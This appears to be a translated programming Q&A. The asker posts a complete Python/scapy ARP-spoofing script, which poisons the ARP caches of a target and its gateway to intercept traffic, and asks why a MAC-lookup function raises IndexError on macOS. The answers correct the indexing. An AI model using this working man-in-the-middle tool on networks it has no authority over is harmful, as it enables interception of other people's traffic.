【问题标题】:macOS python 2.7 error : IndexError: list index out of rangemacOS python 2.7错误:IndexError:列表索引超出范围
【发布时间】:2020-03-16 13:28:49
【问题描述】:
    #!/usr/bin/env python

import scapy.all as scapy
import time
import sys
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', dest='target_ip', help='[+] IP of target')
    parser.add_argument('-g', '--gateway', dest='gateway_ip', help='[+] IP of gateway')
    return parser.parse_args()


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


options = get_arguments()
sent_packets_count = 0
try:
    while True:
        spoof(options.target_ip, options.gateway_ip)
        spoof(options.gateway_ip, options.target_ip)
        sent_packets_count = sent_packets_count + 2
        print('\r[+] Packets sent : ' + str(sent_packets_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    restore(options.target_ip, options.gateway_ip)
    restore(options.gateway_ip, options.target_ip)
    print('\n[+] Restoring ARP tables...\n[+] Quitting...')

完整代码的更新问题

在 macOS 上使用此功能时遇到问题。在我看来,我的索引是正确的,所以想知道这是否是 macOS 兼容性问题?获得标准 IndexError: list index out of range ?我的索引对任何人来说都是错误的吗?

【问题讨论】:

  • 您是否尝试过检查answered_list[0]?你确定你没有忘记上一行末尾的 [0] 吗?

标签: python python-2.7 indexing


【解决方案1】:

更新:

answered_list中,它是一个包含两个元素的元组列表——sendreceive。 你可以试试这个方法吗:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
return(str(ans[0][1].hwsrc))

如果还是报错,需要打印出ans的长度,看看问题出在哪里:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
print(len(ans))
print(len(ans[0]))
print(len(ans[0][1]))

例子:

ans, unans = scapy.srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IP), timeout=2, iface=self.interface, inter=0.2)

for send, receive in ans:
    return receive.sprintf(r"%Ether.src%") 

让我们知道。

上一个答案:

包含问题所在行的完整错误日志是什么?请提供更多我们可以重现的代码,比如数据是什么样的,你使用了什么库等等。

看到这一行:

answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

您已经使用[0] 获得了第一个元素,然后在返回时您又做了一次:

return answered_list[0][1].hwsrc

我认为正确的代码应该是:

return answered_list[1].hwsrc

希望这会有所帮助。

【讨论】:

  • 看起来第一个索引[0] 正确地提取了字典索引,然后引用了获取的 MAC 地址的 [1] 值,但是 ...
  • ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) return(str(ans[0][1].hwsrc)) 。 -----这行得通..现在让我研究一下为什么...谢谢
猜你喜欢
  • 2019-05-18
  • 1970-01-01
  • 2014-01-16
  • 2018-04-22
  • 2020-09-04
  • 1970-01-01
  • 1970-01-01
  • 2018-05-03
  • 1970-01-01
相关资源
最近更新 更多